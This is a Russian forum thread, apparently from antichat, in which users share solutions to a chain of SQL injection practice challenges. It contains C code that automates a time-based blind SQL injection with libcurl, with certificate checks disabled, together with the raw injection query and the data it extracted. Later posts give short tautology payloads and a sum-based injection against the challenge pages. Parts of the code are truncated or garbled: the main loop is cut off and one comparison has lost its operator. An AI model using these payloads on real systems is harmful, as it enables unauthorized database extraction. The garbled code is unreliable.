int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
performReturn = curl_easy_perform(curl);
if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;
curl_global_cleanup();
return 1;
}
char findChar(int charNum,char *tableName)
{
char url[420], *ret;
int cmax=255;
while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};
for(i=0;i
[CODE]
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(50000 00,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Содержимое базы следующее:
55
44
wantamorkovka
wtf?
yes
Что из них ответ - догадайтесь сами. Квест пройден.
Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread
↑ (https://antichat.live/posts/3863530/)
Сам прошёл, да ?
Сам.
↑ (https://antichat.live/posts/3863535/)
Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.
BabaDook
30.06.2015, 02:04
↑ (https://antichat.live/posts/3863569/)
Сам.
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.
Молодец, хорошо крутишь sql
psihoz26
30.06.2015, 15:06
Более короткое (и я считаю что более интересное) решение второго задания:
https://alexbers.com/sql/qnbutn2.php?text='or'1
результатом станет вывод всей таблицы.
аналогично третий
https://alexbers.com/sql/sdjjy3.php?text='or(1)%23
девятый быстро проходится сложив в запросе всё и подобрав сразу сумму
https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+us ers+where+id>=20+and+id=2225
Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию
На 5 остановился и пойду как я спать
↑ (https://antichat.live/posts/3863763/)
Более короткое (и я считаю что более интересное) решение второго задания:
https://alexbers.com/sql/qnbutn2.php?text='or'1
результатом станет вывод всей таблицы.
аналогично третий
https://alexbers.com/sql/sdjjy3.php?text='or(1)%23
девятый быстро проходится сложив в запросе всё и подобрав сразу сумму
https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+us ers+where+id>=20+and+id=2225
Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию
Сам так же сделал когда увидел в два захода то
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot